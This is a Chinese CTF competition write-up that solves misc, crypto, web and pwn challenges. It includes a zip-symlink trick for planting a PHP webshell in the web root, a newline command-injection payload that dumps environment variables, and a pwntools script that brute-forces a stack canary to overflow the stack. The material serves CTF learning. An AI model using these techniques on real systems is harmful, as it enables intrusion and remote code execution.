目录
Misc
1、被加密的生产流量
Crypto
2、Sign_in_passwd
Web
3、unzip
4、dumpit
Re
5、babyRE
Pwn
6、funcanary
Misc
1、被加密的生产流量
下载附件解压后是一段流量,使用wireshark打开
最开始做的时候找错了方向,追踪到了另一个东西
d24c550504f2","nonce":"00070086","result":"eb390b6bdd29102929373f92e33b968613abad9cdb9f0f6b4347e73838b81700","algo":"cn/r"}}
d24c550504f2","nonce":"3d090086","result":"d21442c49d4703e02ed40f7eefa702d0104a3aedf4e44f616a5509f29a9b1400","algo":"cn/r"}}
还找到了一个类似密钥的东西
shiheyuanfang
但是捣鼓了很久也没解出什么
后面在追踪TCP流中发现了三个等号,想到base64编码
将字符串拼起来得到
MMYWMX3GNEYWOXZRGAYDA===
放入随波逐流解码,发现是base32
拿到flag{c1f_fi1g_1000}
Crypto
2、Sign_in_passwd
压缩包解压后得到一个文本
第一行很明显就是base64,但是等号却被放在了中间而不是结尾
说明这并不是一般的base64加密
base64中的等号是因为原文长度不能被3整除而补充在结尾的
所以等号一定放在结尾,且数目一定是0个、1个或2个
这里是对base64编码进行了换表
正常来说,我们使用的编码表是A-Z a-z 0-9 +/=
这里要使用附件里给的表,也就是文本的第二行内容
但是base64里是没有百分号的,所以我们要先进行一个URL解码将百分号换掉
得到
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
将这个表放进去进行base64解码
拿到 flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}
Web
3、unzip
由于第一天比赛已经结束,各位也可以看到是在比赛快结束前两分钟才拿到的flag
当时就截了个图,这里就没办法给大家演示了
讲一下这道题的解法:
这道题也不是普通的文件上传,我先上传的是图片类的一句话木马,但是跳转到了如下的代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
这是一段 PHP 代码,大概意思是用于接收上传的文件并检查其 MIME 类型是否为 application/zip,如果上传的文件是 ZIP 压缩文件,则会在 /tmp 目录下解压该文件。
于是便将一句话木马压缩后上传,但还是卡在了PHP代码页面,也不清楚是否上传成功,打开蚁剑去尝试连接,结果可想而知,肯定连不上。
由于上传压缩包回显被传到了/tmp/uploads目录,想到了软连接目录
(软链接相当于Windows的快捷方式)
先创建一个指向 /var/www/html 的软链接:
ln -s /var/www/html my //将my指向 /var/www/htm/目录下
再把它压缩,使用-y,这样在压缩的时候可以保存软链接:
zip -y my1.zip my
在my目录下面写个shell(一句话木马)
再把这个my目录不带-y的压缩:
zip -r my2.zip my
此时打开my2.zip,可以看到有一个正常的my目录
但是在my目录下却藏着我们写的木马
使用ll命令我们可以看到my是指向 /var/www/htm/目录下的
这里要先上传my1.zip
先让那边有/tmp/uploads/my(这是一个指向/var/www/html的软链接)
再上传my2.zip,在进行解压的时候,实际上应该是把.shell.php解压到/tmp/uploads/my这个目录下,但这已经是一个软链接了,因此实际上这个木马已经被移动到web目录了。
因为当时做题时间比较紧张,就没有用蚁剑去连接我们的一句话木马
而是直接访问shell.php,通过get传参调用system函数直接cat /flag
最终拿到 flag{cb31fo9e-55ff-445f-b9af-3716c3379d0b}
4、dumpit
打开链接
尝试它给的payload
这里直接打印环境变量env
payload:?db=%0aenv%0a&table_2_dump= to view the tables! etc:
拿到 flag{99d50edf-0652-497e-ac03-12eb43ad5aef}
Re
5、babyRE
队友做的,根据下面这个图写Python脚本即可
Pwn
6、funcanary
也是队友做的
大概思路就是:先爆爆破金丝雀保护,然后shift+f12找字符串cat flag,点交叉引用找到调用函数,然后再爆破函数地址,最后栈溢出过去。(没学pwn的我表示一脸懵逼)
下面附上脚本
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
io = remote()
list1 = [b"\x02",b"\x12",b"\x22",b"\x32",b"\x42",b"\x52",b"\x62",b"\x72",b"\x82",b"\x92",b"\xa2",b"\xb2",b"\xc2",b"\xd2",b"\xe2",b"\xf2"]
#io = process('./2')
io.recvuntil('welcome\n')
canary = b'\x00'
for j in range(7):
for i in range(0x100):
io.send(b'a'*104 + canary + p8(i))
a = io.recvuntil('welcome\n')
if b'have fun' in a:
canary += p8(i)
break
payload = b'a'*104
payload += canary
payload += b'a'*8
payload +=b'\x2e'
for k in list1:
payload1=payload+k
io.send(payload1)
io.recvuntil('welcome\n')
io.interactive()